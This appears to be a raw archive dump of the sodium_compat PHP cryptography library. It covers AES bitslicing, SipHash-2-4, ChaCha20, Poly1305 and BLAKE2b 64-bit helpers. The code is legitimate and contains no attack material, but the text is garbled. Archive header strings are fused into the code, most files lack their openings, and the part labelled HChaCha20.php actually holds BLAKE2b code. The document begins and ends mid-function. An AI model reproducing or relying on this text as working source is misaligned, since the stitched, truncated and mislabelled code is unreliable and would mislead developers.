self::load_4(self::substr($rk0, 8, 4)); $rk[6] = self::load_4(self::substr($rk0, 12, 4)); // Second round key $rk[1] = self::load_4(self::substr($rk1, 0, 4)); $rk[3] = self::load_4(self::substr($rk1, 4, 4)); $rk[5] = self::load_4(self::substr($rk1, 8, 4)); $rk[7] = self::load_4(self::substr($rk1, 12, 4)); $q->orthogonalize(); self::sbox($q); $q->shiftRows(); $q->mixColumns(); $q->orthogonalize(); // add round key without key schedule: for ($i = 0; $i < 8; ++$i) { $q[$i] ^= $rk[$i]; } return array( self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]), self::store32_le($q[1]) . self::store32_le($q[3]) . self::store32_le($q[5]) . self::store32_le($q[7]), ); } /** * @param ParagonIE_Sodium_Core_AES_Expanded $skey * @param ParagonIE_Sodium_Core_AES_Block $q * @return void */ public static function bitsliceDecryptBlock( ParagonIE_Sodium_Core_AES_Expanded $skey, ParagonIE_Sodium_Core_AES_Block $q ) { self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3)); for ($u = $skey->getNumRounds() - 1; $u > 0; --$u) { $q->inverseShiftRows(); self::invSbox($q); self::addRoundKey($q, $skey, ($u << 3)); $q->inverseMixColumns(); } $q->inverseShiftRows(); self::invSbox($q); self::addRoundKey($q, $skey, ($u << 3)); } } sodium_compat/src/Core/SipHash.php000064400000020051147177035010013141 0ustar00 */ public static function add(array $a, array $b) { /** @var int $x1 */ $x1 = $a[1] + $b[1]; /** @var int $c */ $c = $x1 >> 32; // Carry if ($a + $b) > 0xffffffff /** @var int $x0 */ $x0 = $a[0] + $b[0] + $c; return array( $x0 & 0xffffffff, $x1 & 0xffffffff ); } /** * @internal You should not use this directly from another application * * @param int $int0 * @param int $int1 * @param int $c * @return array */ public static function rotl_64($int0, $int1, $c) { $int0 &= 0xffffffff; $int1 &= 0xffffffff; $c &= 63; if ($c === 32) { return array($int1, $int0); } if ($c > 31) { $tmp = $int1; $int1 = $int0; $int0 = $tmp; $c &= 31; } if ($c === 0) { return array($int0, $int1); } return array( 0xffffffff & ( ($int0 << $c) | ($int1 >> (32 - $c)) ), 0xffffffff & ( ($int1 << $c) | ($int0 >> (32 - $c)) ), ); } /** * Implements Siphash-2-4 using only 32-bit numbers. * * When we split an int into two, the higher bits go to the lower index. * e.g. 0xDEADBEEFAB10C92D becomes [ * 0 => 0xDEADBEEF, * 1 => 0xAB10C92D * ]. * * @internal You should not use this directly from another application * * @param string $in * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function sipHash24($in, $key) { $inlen = self::strlen($in); # /* "somepseudorandomlygeneratedbytes" */ # u64 v0 = 0x736f6d6570736575ULL; # u64 v1 = 0x646f72616e646f6dULL; # u64 v2 = 0x6c7967656e657261ULL; # u64 v3 = 0x7465646279746573ULL; $v = array( 0x736f6d65, // 0 0x70736575, // 1 0x646f7261, // 2 0x6e646f6d, // 3 0x6c796765, // 4 0x6e657261, // 5 0x74656462, // 6 0x79746573 // 7 ); // v0 => $v[0], $v[1] // v1 => $v[2], $v[3] // v2 => $v[4], $v[5] // v3 => $v[6], $v[7] # u64 k0 = LOAD64_LE( k ); # u64 k1 = LOAD64_LE( k + 8 ); $k = array( self::load_4(self::substr($key, 4, 4)), self::load_4(self::substr($key, 0, 4)), self::load_4(self::substr($key, 12, 4)), self::load_4(self::substr($key, 8, 4)) ); // k0 => $k[0], $k[1] // k1 => $k[2], $k[3] # b = ( ( u64 )inlen ) << 56; $b = array( $inlen << 24, 0 ); // See docblock for why the 0th index gets the higher bits. # v3 ^= k1; $v[6] ^= $k[2]; $v[7] ^= $k[3]; # v2 ^= k0; $v[4] ^= $k[0]; $v[5] ^= $k[1]; # v1 ^= k1; $v[2] ^= $k[2]; $v[3] ^= $k[3]; # v0 ^= k0; $v[0] ^= $k[0]; $v[1] ^= $k[1]; $left = $inlen; # for ( ; in != end; in += 8 ) while ($left >= 8) { # m = LOAD64_LE( in ); $m = array( self::load_4(self::substr($in, 4, 4)), self::load_4(self::substr($in, 0, 4)) ); # v3 ^= m; $v[6] ^= $m[0]; $v[7] ^= $m[1]; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= m; $v[0] ^= $m[0]; $v[1] ^= $m[1]; $in = self::substr($in, 8); $left -= 8; } # switch( left ) # { # case 7: b |= ( ( u64 )in[ 6] ) << 48; # case 6: b |= ( ( u64 )in[ 5] ) << 40; # case 5: b |= ( ( u64 )in[ 4] ) << 32; # case 4: b |= ( ( u64 )in[ 3] ) << 24; # case 3: b |= ( ( u64 )in[ 2] ) << 16; # case 2: b |= ( ( u64 )in[ 1] ) << 8; # case 1: b |= ( ( u64 )in[ 0] ); break; # case 0: break; # } switch ($left) { case 7: $b[0] |= self::chrToInt($in[6]) << 16; case 6: $b[0] |= self::chrToInt($in[5]) << 8; case 5: $b[0] |= self::chrToInt($in[4]); case 4: $b[1] |= self::chrToInt($in[3]) << 24; case 3: $b[1] |= self::chrToInt($in[2]) << 16; case 2: $b[1] |= self::chrToInt($in[1]) << 8; case 1: $b[1] |= self::chrToInt($in[0]); case 0: break; } // See docblock for why the 0th index gets the higher bits. # v3 ^= b; $v[6] ^= $b[0]; $v[7] ^= $b[1]; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= b; $v[0] ^= $b[0]; $v[1] ^= $b[1]; // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation # v2 ^= 0xff; $v[5] ^= 0xff; # SIPROUND; # SIPROUND; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); # b = v0 ^ v1 ^ v2 ^ v3; # STORE64_LE( out, b ); return self::store32_le($v[1] ^ $v[3] ^ $v[5] ^ $v[7]) . self::store32_le($v[0] ^ $v[2] ^ $v[4] ^ $v[6]); } } sodium_compat/src/Core/ChaCha20.php000064400000031206147177035010013057 0ustar00> (32 - $n)) ) ); } /** * The ChaCha20 quarter round function. Works on four 32-bit integers. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $c * @param int $d * @return array */ protected static function quarterRound($a, $b, $c, $d) { # a = PLUS(a,b); d = ROTATE(XOR(d,a),16); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 16); # c = PLUS(c,d); b = ROTATE(XOR(b,c),12); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 12); # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); /** @var int $a */ $a = ($a + $b) & 0xffffffff; $d = self::rotate($d ^ $a, 8); # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); /** @var int $c */ $c = ($c + $d) & 0xffffffff; $b = self::rotate($b ^ $c, 7); return array((int) $a, (int) $b, (int) $c, (int) $d); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx * @param string $message * * @return string * @throws TypeError * @throws SodiumException */ public static function encryptBytes( ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx, $message = '' ) { $bytes = self::strlen($message); /* j0 = ctx->input[0]; j1 = ctx->input[1]; j2 = ctx->input[2]; j3 = ctx->input[3]; j4 = ctx->input[4]; j5 = ctx->input[5]; j6 = ctx->input[6]; j7 = ctx->input[7]; j8 = ctx->input[8]; j9 = ctx->input[9]; j10 = ctx->input[10]; j11 = ctx->input[11]; j12 = ctx->input[12]; j13 = ctx->input[13]; j14 = ctx->input[14]; j15 = ctx->input[15]; */ $j0 = (int) $ctx[0]; $j1 = (int) $ctx[1]; $j2 = (int) $ctx[2]; $j3 = (int) $ctx[3]; $j4 = (int) $ctx[4]; $j5 = (int) $ctx[5]; $j6 = (int) $ctx[6]; $j7 = (int) $ctx[7]; $j8 = (int) $ctx[8]; $j9 = (int) $ctx[9]; $j10 = (int) $ctx[10]; $j11 = (int) $ctx[11]; $j12 = (int) $ctx[12]; $j13 = (int) $ctx[13]; $j14 = (int) $ctx[14]; $j15 = (int) $ctx[15]; $c = ''; for (;;) { if ($bytes < 64) { $message .= str_repeat("\x00", 64 - $bytes); } $x0 = (int) $j0; $x1 = (int) $j1; $x2 = (int) $j2; $x3 = (int) $j3; $x4 = (int) $j4; $x5 = (int) $j5; $x6 = (int) $j6; $x7 = (int) $j7; $x8 = (int) $j8; $x9 = (int) $j9; $x10 = (int) $j10; $x11 = (int) $j11; $x12 = (int) $j12; $x13 = (int) $j13; $x14 = (int) $j14; $x15 = (int) $j15; # for (i = 20; i > 0; i -= 2) { for ($i = 20; $i > 0; $i -= 2) { # QUARTERROUND( x0, x4, x8, x12) list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12); # QUARTERROUND( x1, x5, x9, x13) list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13); # QUARTERROUND( x2, x6, x10, x14) list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14); # QUARTERROUND( x3, x7, x11, x15) list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15); # QUARTERROUND( x0, x5, x10, x15) list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15); # QUARTERROUND( x1, x6, x11, x12) list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12); # QUARTERROUND( x2, x7, x8, x13) list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13); # QUARTERROUND( x3, x4, x9, x14) list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14); } /* x0 = PLUS(x0, j0); x1 = PLUS(x1, j1); x2 = PLUS(x2, j2); x3 = PLUS(x3, j3); x4 = PLUS(x4, j4); x5 = PLUS(x5, j5); x6 = PLUS(x6, j6); x7 = PLUS(x7, j7); x8 = PLUS(x8, j8); x9 = PLUS(x9, j9); x10 = PLUS(x10, j10); x11 = PLUS(x11, j11); x12 = PLUS(x12, j12); x13 = PLUS(x13, j13); x14 = PLUS(x14, j14); x15 = PLUS(x15, j15); */ /** @var int $x0 */ $x0 = ($x0 & 0xffffffff) + $j0; /** @var int $x1 */ $x1 = ($x1 & 0xffffffff) + $j1; /** @var int $x2 */ $x2 = ($x2 & 0xffffffff) + $j2; /** @var int $x3 */ $x3 = ($x3 & 0xffffffff) + $j3; /** @var int $x4 */ $x4 = ($x4 & 0xffffffff) + $j4; /** @var int $x5 */ $x5 = ($x5 & 0xffffffff) + $j5; /** @var int $x6 */ $x6 = ($x6 & 0xffffffff) + $j6; /** @var int $x7 */ $x7 = ($x7 & 0xffffffff) + $j7; /** @var int $x8 */ $x8 = ($x8 & 0xffffffff) + $j8; /** @var int $x9 */ $x9 = ($x9 & 0xffffffff) + $j9; /** @var int $x10 */ $x10 = ($x10 & 0xffffffff) + $j10; /** @var int $x11 */ $x11 = ($x11 & 0xffffffff) + $j11; /** @var int $x12 */ $x12 = ($x12 & 0xffffffff) + $j12; /** @var int $x13 */ $x13 = ($x13 & 0xffffffff) + $j13; /** @var int $x14 */ $x14 = ($x14 & 0xffffffff) + $j14; /** @var int $x15 */ $x15 = ($x15 & 0xffffffff) + $j15; /* x0 = XOR(x0, LOAD32_LE(m + 0)); x1 = XOR(x1, LOAD32_LE(m + 4)); x2 = XOR(x2, LOAD32_LE(m + 8)); x3 = XOR(x3, LOAD32_LE(m + 12)); x4 = XOR(x4, LOAD32_LE(m + 16)); x5 = XOR(x5, LOAD32_LE(m + 20)); x6 = XOR(x6, LOAD32_LE(m + 24)); x7 = XOR(x7, LOAD32_LE(m + 28)); x8 = XOR(x8, LOAD32_LE(m + 32)); x9 = XOR(x9, LOAD32_LE(m + 36)); x10 = XOR(x10, LOAD32_LE(m + 40)); x11 = XOR(x11, LOAD32_LE(m + 44)); x12 = XOR(x12, LOAD32_LE(m + 48)); x13 = XOR(x13, LOAD32_LE(m + 52)); x14 = XOR(x14, LOAD32_LE(m + 56)); x15 = XOR(x15, LOAD32_LE(m + 60)); */ $x0 ^= self::load_4(self::substr($message, 0, 4)); $x1 ^= self::load_4(self::substr($message, 4, 4)); $x2 ^= self::load_4(self::substr($message, 8, 4)); $x3 ^= self::load_4(self::substr($message, 12, 4)); $x4 ^= self::load_4(self::substr($message, 16, 4)); $x5 ^= self::load_4(self::substr($message, 20, 4)); $x6 ^= self::load_4(self::substr($message, 24, 4)); $x7 ^= self::load_4(self::substr($message, 28, 4)); $x8 ^= self::load_4(self::substr($message, 32, 4)); $x9 ^= self::load_4(self::substr($message, 36, 4)); $x10 ^= self::load_4(self::substr($message, 40, 4)); $x11 ^= self::load_4(self::substr($message, 44, 4)); $x12 ^= self::load_4(self::substr($message, 48, 4)); $x13 ^= self::load_4(self::substr($message, 52, 4)); $x14 ^= self::load_4(self::substr($message, 56, 4)); $x15 ^= self::load_4(self::substr($message, 60, 4)); /* j12 = PLUSONE(j12); if (!j12) { j13 = PLUSONE(j13); } */ ++$j12; if ($j12 & 0xf0000000) { throw new SodiumException('Overflow'); } /* STORE32_LE(c + 0, x0); STORE32_LE(c + 4, x1); STORE32_LE(c + 8, x2); STORE32_LE(c + 12, x3); STORE32_LE(c + 16, x4); STORE32_LE(c + 20, x5); STORE32_LE(c + 24, x6); STORE32_LE(c + 28, x7); STORE32_LE(c + 32, x8); STORE32_LE(c + 36, x9); STORE32_LE(c + 40, x10); STORE32_LE(c + 44, x11); STORE32_LE(c + 48, x12); STORE32_LE(c + 52, x13); STORE32_LE(c + 56, x14); STORE32_LE(c + 60, x15); */ $block = self::store32_le((int) ($x0 & 0xffffffff)) . self::store32_le((int) ($x1 & 0xffffffff)) . self::store32_le((int) ($x2 & 0xffffffff)) . self::store32_le((int) ($x3 & 0xffffffff)) . self::store32_le((int) ($x4 & 0xffffffff)) . self::store32_le((int) ($x5 & 0xffffffff)) . self::store32_le((int) ($x6 & 0xffffffff)) . self::store32_le((int) ($x7 & 0xffffffff)) . self::store32_le((int) ($x8 & 0xffffffff)) . self::store32_le((int) ($x9 & 0xffffffff)) . self::store32_le((int) ($x10 & 0xffffffff)) . self::store32_le((int) ($x11 & 0xffffffff)) . self::store32_le((int) ($x12 & 0xffffffff)) . self::store32_le((int) ($x13 & 0xffffffff)) . self::store32_le((int) ($x14 & 0xffffffff)) . self::store32_le((int) ($x15 & 0xffffffff)); /* Partial block */ if ($bytes < 64) { $c .= self::substr($block, 0, $bytes); break; } /* Full block */ $c .= $block; $bytes -= 64; if ($bytes <= 0) { break; } $message = self::substr($message, 64); } /* end for(;;) loop */ $ctx[12] = $j12; $ctx[13] = $j13; return $c; } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len = 64, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic), $message ); } } sodium_compat/src/Core/Poly1305.php000064400000003046147177035010013043 0ustar00update($m) ->finish(); } /** * @internal You should not use this directly from another application * * @param string $mac * @param string $m * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function onetimeauth_verify($mac, $m, $key) { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Key must be 32 bytes long.' ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( self::substr($key, 0, 32) ); $calc = $state ->update($m) ->finish(); return self::verify_16($calc, $mac); } } sodium_compat/src/Core/Poly1305/State.php000064400000031160147177035010014121 0ustar00 */ protected $buffer = array(); /** * @var bool */ protected $final = false; /** * @var array */ public $h; /** * @var int */ protected $leftover = 0; /** * @var int[] */ public $r; /** * @var int[] */ public $pad; /** * ParagonIE_Sodium_Core_Poly1305_State constructor. * * @internal You should not use this directly from another application * * @param string $key * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '') { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Poly1305 requires a 32-byte key' ); } /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */ $this->r = array( (int) ((self::load_4(self::substr($key, 0, 4))) & 0x3ffffff), (int) ((self::load_4(self::substr($key, 3, 4)) >> 2) & 0x3ffff03), (int) ((self::load_4(self::substr($key, 6, 4)) >> 4) & 0x3ffc0ff), (int) ((self::load_4(self::substr($key, 9, 4)) >> 6) & 0x3f03fff), (int) ((self::load_4(self::substr($key, 12, 4)) >> 8) & 0x00fffff) ); /* h = 0 */ $this->h = array(0, 0, 0, 0, 0); /* save pad for later */ $this->pad = array( self::load_4(self::substr($key, 16, 4)), self::load_4(self::substr($key, 20, 4)), self::load_4(self::substr($key, 24, 4)), self::load_4(self::substr($key, 28, 4)), ); $this->leftover = 0; $this->final = false; } /** * Zero internal buffer upon destruction */ public function __destruct() { $this->r[0] ^= $this->r[0]; $this->r[1] ^= $this->r[1]; $this->r[2] ^= $this->r[2]; $this->r[3] ^= $this->r[3]; $this->r[4] ^= $this->r[4]; $this->h[0] ^= $this->h[0]; $this->h[1] ^= $this->h[1]; $this->h[2] ^= $this->h[2]; $this->h[3] ^= $this->h[3]; $this->h[4] ^= $this->h[4]; $this->pad[0] ^= $this->pad[0]; $this->pad[1] ^= $this->pad[1]; $this->pad[2] ^= $this->pad[2]; $this->pad[3] ^= $this->pad[3]; $this->leftover = 0; $this->final = true; } /** * @internal You should not use this directly from another application * * @param string $message * @return self * @throws SodiumException * @throws TypeError */ public function update($message = '') { $bytes = self::strlen($message); if ($bytes < 1) { return $this; } /* handle leftover */ if ($this->leftover) { $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - $this->leftover; if ($want > $bytes) { $want = $bytes; } for ($i = 0; $i < $want; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } // We snip off the leftmost bytes. $message = self::substr($message, $want); $bytes = self::strlen($message); $this->leftover += $want; if ($this->leftover < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { // We still don't have enough to run $this->blocks() return $this; } $this->blocks( self::intArrayToString($this->buffer), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $this->leftover = 0; } /* process full blocks */ if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /** @var int $want */ $want = $bytes & ~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1); if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $block = self::substr($message, 0, $want); if (self::strlen($block) >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $this->blocks($block, $want); $message = self::substr($message, $want); $bytes = self::strlen($message); } } } /* store leftover */ if ($bytes) { for ($i = 0; $i < $bytes; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } $this->leftover = (int) $this->leftover + $bytes; } return $this; } /** * @internal You should not use this directly from another application * * @param string $message * @param int $bytes * @return self * @throws TypeError */ public function blocks($message, $bytes) { if (self::strlen($message) < 16) { $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT); } /** @var int $hibit */ $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */ $r0 = (int) $this->r[0]; $r1 = (int) $this->r[1]; $r2 = (int) $this->r[2]; $r3 = (int) $this->r[3]; $r4 = (int) $this->r[4]; $s1 = self::mul($r1, 5, 3); $s2 = self::mul($r2, 5, 3); $s3 = self::mul($r3, 5, 3); $s4 = self::mul($r4, 5, 3); $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /* h += m[i] */ $h0 += self::load_4(self::substr($message, 0, 4)) & 0x3ffffff; $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2) & 0x3ffffff; $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4) & 0x3ffffff; $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6) & 0x3ffffff; $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8) | $hibit; /* h *= r */ $d0 = ( self::mul($h0, $r0, 25) + self::mul($s4, $h1, 26) + self::mul($s3, $h2, 26) + self::mul($s2, $h3, 26) + self::mul($s1, $h4, 26) ); $d1 = ( self::mul($h0, $r1, 25) + self::mul($h1, $r0, 25) + self::mul($s4, $h2, 26) + self::mul($s3, $h3, 26) + self::mul($s2, $h4, 26) ); $d2 = ( self::mul($h0, $r2, 25) + self::mul($h1, $r1, 25) + self::mul($h2, $r0, 25) + self::mul($s4, $h3, 26) + self::mul($s3, $h4, 26) ); $d3 = ( self::mul($h0, $r3, 25) + self::mul($h1, $r2, 25) + self::mul($h2, $r1, 25) + self::mul($h3, $r0, 25) + self::mul($s4, $h4, 26) ); $d4 = ( self::mul($h0, $r4, 25) + self::mul($h1, $r3, 25) + self::mul($h2, $r2, 25) + self::mul($h3, $r1, 25) + self::mul($h4, $r0, 25) ); /* (partial) h %= p */ /** @var int $c */ $c = $d0 >> 26; /** @var int $h0 */ $h0 = $d0 & 0x3ffffff; $d1 += $c; /** @var int $c */ $c = $d1 >> 26; /** @var int $h1 */ $h1 = $d1 & 0x3ffffff; $d2 += $c; /** @var int $c */ $c = $d2 >> 26; /** @var int $h2 */ $h2 = $d2 & 0x3ffffff; $d3 += $c; /** @var int $c */ $c = $d3 >> 26; /** @var int $h3 */ $h3 = $d3 & 0x3ffffff; $d4 += $c; /** @var int $c */ $c = $d4 >> 26; /** @var int $h4 */ $h4 = $d4 & 0x3ffffff; $h0 += (int) self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; $h1 += $c; // Chop off the left 32 bytes. $message = self::substr( $message, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; } $this->h = array( (int) ($h0 & 0xffffffff), (int) ($h1 & 0xffffffff), (int) ($h2 & 0xffffffff), (int) ($h3 & 0xffffffff), (int) ($h4 & 0xffffffff) ); return $this; } /** * @internal You should not use this directly from another application * * @return string * @throws TypeError */ public function finish() { /* process the remaining block */ if ($this->leftover) { $i = $this->leftover; $this->buffer[$i++] = 1; for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; ++$i) { $this->buffer[$i] = 0; } $this->final = true; $this->blocks( self::substr( self::intArrayToString($this->buffer), 0, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); } $h0 = (int) $this->h[0]; $h1 = (int) $this->h[1]; $h2 = (int) $this->h[2]; $h3 = (int) $this->h[3]; $h4 = (int) $this->h[4]; /** @var int $c */ $c = $h1 >> 26; /** @var int $h1 */ $h1 &= 0x3ffffff; /** @var int $h2 */ $h2 += $c; /** @var int $c */ $c = $h2 >> 26; /** @var int $h2 */ $h2 &= 0x3ffffff; $h3 += $c; /** @var int $c */ $c = $h3 >> 26; $h3 &= 0x3ffffff; $h4 += $c; /** @var int $c */ $c = $h4 >> 26; $h4 &= 0x3ffffff; /** @var int $h0 */ $h0 += self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; /** @var int $h1 */ $h1 += $c; /* compute h + -p */ /** @var int $g0 */ $g0 = $h0 + 5; /** @var int $c */ $c = $g0 >> 26; /** @var int $g0 */ $g0 &= 0x3ffffff; /** @var int $g1 */ $g1 = $h1 + $c; /** @var int $c */ $c = $g1 >> 26; $g1 &= 0x3ffffff; /** @var int $g2 */ $g2 = $h2 + $c; /** @var int $c */ $c = $g2 >> 26; /** @var int $g2 */ $g2 &= 0x3ffffff; /** @var int $g3 */ $g3 = $h3 + $c; /** @var int $c */ $c = $g3 >> 26; /** @var int $g3 */ $g3 &= 0x3ffffff; /** @var int $g4 */ $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff; /* select h if h < p, or h + -p if h >= p */ /** @var int $mask */ $mask = ($g4 >> 31) - 1; $g0 &= $mask; $g1 &= $mask; $g2 &= $mask; $g3 &= $mask; $g4 &= $mask; /** @var int $mask */ $mask = ~$mask & 0xffffffff; /** @var int $h0 */ $h0 = ($h0 & $mask) | $g0; /** @var int $h1 */ $h1 = ($h1 & $mask) | $g1; /** @var int $h2 */ $h2 = ($h2 & $mask) | $g2; /** @var int $h3 */ $h3 = ($h3 & $mask) | $g3; /** @var int $h4 */ $h4 = ($h4 & $mask) | $g4; /* h = h % (2^128) */ /** @var int $h0 */ $h0 = (($h0) | ($h1 << 26)) & 0xffffffff; /** @var int $h1 */ $h1 = (($h1 >> 6) | ($h2 << 20)) & 0xffffffff; /** @var int $h2 */ $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff; /** @var int $h3 */ $h3 = (($h3 >> 18) | ($h4 << 8)) & 0xffffffff; /* mac = (h + pad) % (2^128) */ $f = (int) ($h0 + $this->pad[0]); $h0 = (int) $f; $f = (int) ($h1 + $this->pad[1] + ($f >> 32)); $h1 = (int) $f; $f = (int) ($h2 + $this->pad[2] + ($f >> 32)); $h2 = (int) $f; $f = (int) ($h3 + $this->pad[3] + ($f >> 32)); $h3 = (int) $f; return self::store32_le($h0 & 0xffffffff) . self::store32_le($h1 & 0xffffffff) . self::store32_le($h2 & 0xffffffff) . self::store32_le($h3 & 0xffffffff); } } sodium_compat/src/Core/HChaCha20.php000064400000007437147177035010013200 0ustar00> */ protected static $sigma = array( array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3), array( 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4), array( 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8), array( 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13), array( 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9), array( 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11), array( 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10), array( 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5), array( 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0), array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3) ); const BLOCKBYTES = 128; const OUTBYTES = 64; const KEYBYTES = 64; /** * Turn two 32-bit integers into a fixed array representing a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $high * @param int $low * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function new64($high, $low) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $i64 = new SplFixedArray(2); $i64[0] = $high & 0xffffffff; $i64[1] = $low & 0xffffffff; return $i64; } /** * Convert an arbitrary number into an SplFixedArray of two 32-bit integers * that represents a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $num * @return SplFixedArray */ protected static function to64($num) { list($hi, $lo) = self::numericTo64BitInteger($num); return self::new64($hi, $lo); } /** * Adds two 64-bit integers together, returning their sum as a SplFixedArray * containing two 32-bit integers (representing a 64-bit integer). * * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ protected static function add64($x, $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $l = ($x[1] + $y[1]) & 0xffffffff; return self::new64( (int) ($x[0] + $y[0] + ( ($l < $x[1]) ? 1 : 0 )), (int) $l ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @param SplFixedArray $z * @return SplFixedArray */ protected static function add364($x, $y, $z) { return self::add64($x, self::add64($y, $z)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @throws SodiumException * @throws TypeError */ protected static function xor64(SplFixedArray $x, SplFixedArray $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if (!is_numeric($x[0])) { throw new SodiumException('x[0] is not an integer'); } if (!is_numeric($x[1])) { throw new SodiumException('x[1] is not an integer'); } if (!is_numeric($y[0])) { throw new SodiumException('y[0] is not an integer'); } if (!is_numeric($y[1])) { throw new SodiumException('y[1] is not an integer'); } return self::new64( (int) (($x[0] ^ $y[0]) & 0xffffffff), (int) (($x[1] ^ 